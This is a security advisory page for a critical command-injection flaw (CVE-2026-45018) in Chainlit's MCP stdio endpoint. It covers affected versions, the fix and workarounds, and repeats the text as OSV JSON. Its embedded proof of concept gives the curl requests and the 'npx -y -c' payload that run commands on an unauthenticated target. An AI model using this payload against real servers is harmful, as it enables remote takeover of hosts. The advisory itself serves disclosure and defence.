CVE-2026-45018: Chainlit Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-w3fx-mc44-mf6j
CVSS 9.8
CWE-78
Published
Advisory Summary

CVE-2026-45018 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Chainlit libraries in the PyPI ecosystem. The issue involves chainlit has command injection via mcp stdio transport that allows unauthenticated remote code execution. Remediation is available by upgrading affected packages to version 2.12.0.

CVE-2026-45018 at a Glance

CVE Identifier CVE-2026-45018
GHSA Identifier GHSA-w3fx-mc44-mf6j
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Chainlit
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-45018

To remediate this vulnerability, upgrade all affected Chainlit dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

chainlit fixed: 2.12.0
pip install chainlit>=2.12.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show chainlit

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-45018, inspect your installed packages using pip:

pip show chainlit

Analyze the terminal output to locate any version of Chainlit in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.12.0), your application is affected.

Note: The pip show chainlit command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Chainlit, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Am I affected? Only if your deployment sets `features.mcp.enabled = true` in `.chainlit/config.toml`. **MCP has been disabled by default since v2.7.0**, so most Chainlit deployments are not affected. No authentication is required: `/mcp` is reachable by any client that can open a session. ### Summary When MCP is enabled (`features.mcp.enabled = true`), the `POST /mcp` endpoint for `stdio` transport accepts a user-controlled `fullCommand` string. The `validate_mcp_command()` function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass `npx -y -c 'ARBITRARY COMMAND'` to execute arbitrary shell commands on the server with the privileges of the Chainlit process. ### Affected / patched versions | | | |---|---| | CVE | CVE-2026-45018 | | Affected | `>=2.4.0rc0, <2.12.0` with `features.mcp.enabled = true` (introduced in PR #1977, the change that added MCP support) | | Patched | **2.12.0** (releasing 2026-08-25) | ### Details `validate_mcp_command()` in `backend/chainlit/mcp.py` uses `shlex.split()` to parse the command string and validates only the executable name (e.g., `npx`, `uvx`) against `config.features.mcp.stdio.allowed_executables`. Arguments are returned unchecked and passed directly to `StdioServerParameters`, which spawns a subprocess. Since `npx` supports `-c` for arbitrary shell execution, `npx -y -c 'PAYLOAD'` passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host. There is a related issue in the Pydantic model: `allowed_executables` defaults to `None`, and the validation code treats `None` as "allow everything." If a developer removes the `allowed_executables` line from their config, any executable can be invoked. The `/mcp` route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime `features.mcp.enabled` check and (where configured) the authentication check on `/mcp` prevent exploitation. **Vulnerable code:** `backend/chainlit/mcp.py` — `validate_mcp_command()` **Sink:** `backend/chainlit/server.py` — `StdioServerParameters` ### PoC Tested against Chainlit 2.11.0 with `features.mcp.enabled = true` and default settings. 1. Establish a Socket.IO session to get a valid `sessionId`: ```bash EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \ | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])") curl -s -X POST \ "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \ -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}' ``` 2. Send the command injection payload: ```bash curl -s -X POST 'http://TARGET:8000/mcp' \ -H 'Content-Type: application/json' \ -d '{ "sessionId": "rce-proof", "clientType": "stdio", "name": "poc", "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''" }' ``` The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof. ### Impact **Critical.** An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected. ### Fix Chainlit 2.12.0 removes `fullCommand` from the client request entirely. stdio MCP servers are now declared by the developer in `.chainlit/config.toml` under `[[features.mcp.servers]]` and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no `allowed_executables` mechanism anymore. Per-server environment variables are configured via an `env` mapping on the server entry rather than supplied by the client. ### Workarounds If you cannot upgrade immediately: - Set `features.mcp.enabled = false` in `.chainlit/config.toml`. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019). - Restrict outbound process-spawning / network capability from the host running Chainlit. - Configure authentication (register an auth callback) so that `/mcp` requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path. ### Upgrading to 2.12.0 > **Breaking change.** 2.12.0 changes how MCP servers are configured. If `.chainlit/config.toml` still uses the legacy `[features.mcp.sse]`, `[features.mcp.stdio]`, or `[features.mcp.streamable-http]` sections, or the `allowed_executables` setting, the application will fail to start **once MCP is enabled**, until you migrate to the new `[[features.mcp.servers]]` configuration. See the migration guide in `CHANGELOG.md` before upgrading. Deployments with `features.mcp.enabled = false` are not affected by this startup check. ### Residual risk after upgrading - On deployments with no authentication configured, `/mcp` remains reachable anonymously after upgrading, because `get_current_user` returns `None` when no auth callback is registered. An anonymous client can therefore still cause **developer-configured** stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication. - No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client. ### Credits Vipin <vipin@spl.team> SPL <security@spl.team>

CVE-2026-45018 Affected Chainlit Versions

1 component(s)
Fixed Versions:
2.12.0
Product / Package Ecosystem Affected Versions Fixed Version
chainlit
PyPI
≥ 2.4.0rc0
< 2.12.0
2.12.0

References

Frequently Asked Questions

What is CVE-2026-45018?
CVE-2026-45018 is a security vulnerability in Chainlit involving Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Chainlit versions are affected?
Affected versions include releases prior to 2.12.0 across affected packages: chainlit.
What version fixes CVE-2026-45018?
Upgrading to 2.12.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is chainlit affected?
Yes, chainlit is affected in releases prior to 2.12.0. Upgrade your dependency to 2.12.0 or later.
What is the CVSS score of CVE-2026-45018?
CVE-2026-45018 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-45018?
CVE-2026-45018 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check PyPI dependencies for CVE-2026-45018?
Run the dependency tree command: 'pip show chainlit'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w3fx-mc44-mf6j",
  "modified" : "2026-08-25T19:19:28Z",
  "published" : "2026-08-25T19:19:28Z",
  "aliases" : [ "CVE-2026-45018" ],
  "summary" : "Chainlit has command injection via MCP stdio transport that allows unauthenticated remote code execution",
  "details" : "### Am I affected?\n\nOnly if your deployment sets `features.mcp.enabled = true` in `.chainlit/config.toml`. **MCP has been disabled by default since v2.7.0**, so most Chainlit deployments are not affected. No authentication is required: `/mcp` is reachable by any client that can open a session.\n\n### Summary\n\nWhen MCP is enabled (`features.mcp.enabled = true`), the `POST /mcp` endpoint for `stdio` transport accepts a user-controlled `fullCommand` string. The `validate_mcp_command()` function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass `npx -y -c 'ARBITRARY COMMAND'` to execute arbitrary shell commands on the server with the privileges of the Chainlit process.\n\n\n### Affected / patched versions\n\n| | |\n|---|---|\n| CVE | CVE-2026-45018 |\n| Affected | `>=2.4.0rc0, <2.12.0` with `features.mcp.enabled = true` (introduced in PR #1977, the change that added MCP support) |\n| Patched | **2.12.0** (releasing 2026-08-25) |\n\n### Details\n\n`validate_mcp_command()` in `backend/chainlit/mcp.py` uses `shlex.split()` to parse the command string and validates only the executable name (e.g., `npx`, `uvx`) against `config.features.mcp.stdio.allowed_executables`. Arguments are returned unchecked and passed directly to `StdioServerParameters`, which spawns a subprocess.\n\nSince `npx` supports `-c` for arbitrary shell execution, `npx -y -c 'PAYLOAD'` passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.\n\nThere is a related issue in the Pydantic model: `allowed_executables` defaults to `None`, and the validation code treats `None` as \"allow everything.\" If a developer removes the `allowed_executables` line from their config, any executable can be invoked.\n\nThe `/mcp` route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime `features.mcp.enabled` check and (where configured) the authentication check on `/mcp` prevent exploitation.\n\n**Vulnerable code:** `backend/chainlit/mcp.py` — `validate_mcp_command()`\n**Sink:** `backend/chainlit/server.py` — `StdioServerParameters`\n\n### PoC\n\nTested against Chainlit 2.11.0 with `features.mcp.enabled = true` and default settings.\n\n1. Establish a Socket.IO session to get a valid `sessionId`:\n\n```bash\nEIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \\\n  | python3 -c \"import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])\")\n\ncurl -s -X POST \\\n  \"http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID\" \\\n  -d '40{\"sessionId\":\"rce-proof\",\"userEnv\":\"{}\",\"clientType\":\"webapp\"}'\n```\n\n2. Send the command injection payload:\n\n```bash\ncurl -s -X POST 'http://TARGET:8000/mcp' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"sessionId\": \"rce-proof\",\n    \"clientType\": \"stdio\",\n    \"name\": \"poc\",\n    \"fullCommand\": \"npx -y -c '\\''id > /tmp/rce_proof'\\''\"\n  }'\n```\n\nThe server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.\n\n### Impact\n\n**Critical.** An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.\n\n### Fix\n\nChainlit 2.12.0 removes `fullCommand` from the client request entirely. stdio MCP servers are now declared by the developer in `.chainlit/config.toml` under `[[features.mcp.servers]]` and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no `allowed_executables` mechanism anymore. Per-server environment variables are configured via an `env` mapping on the server entry rather than supplied by the client.\n\n### Workarounds\n\nIf you cannot upgrade immediately:\n\n- Set `features.mcp.enabled = false` in `.chainlit/config.toml`. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).\n- Restrict outbound process-spawning / network capability from the host running Chainlit.\n- Configure authentication (register an auth callback) so that `/mcp` requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.\n\n### Upgrading to 2.12.0\n\n> **Breaking change.** 2.12.0 changes how MCP servers are configured. If `.chainlit/config.toml` still uses the legacy `[features.mcp.sse]`, `[features.mcp.stdio]`, or `[features.mcp.streamable-http]` sections, or the `allowed_executables` setting, the application will fail to start **once MCP is enabled**, until you migrate to the new `[[features.mcp.servers]]` configuration. See the migration guide in `CHANGELOG.md` before upgrading. Deployments with `features.mcp.enabled = false` are not affected by this startup check.\n\n### Residual risk after upgrading\n\n- On deployments with no authentication configured, `/mcp` remains reachable anonymously after upgrading, because `get_current_user` returns `None` when no auth callback is registered. An anonymous client can therefore still cause **developer-configured** stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.\n- No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.\n\n### Credits\n\nVipin <vipin@spl.team>\nSPL <security@spl.team>",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "chainlit"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.4.0rc0"
      }, {
        "fixed" : "2.12.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.11.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Chainlit/chainlit/security/advisories/GHSA-w3fx-mc44-mf6j"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Chainlit/chainlit/commit/0565fd0eccb915fce159929598b053ed79f6e0c9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Chainlit/chainlit"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Chainlit/chainlit/releases/tag/2.12.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T19:19:28Z",
    "nvd_published_at" : null
  }
}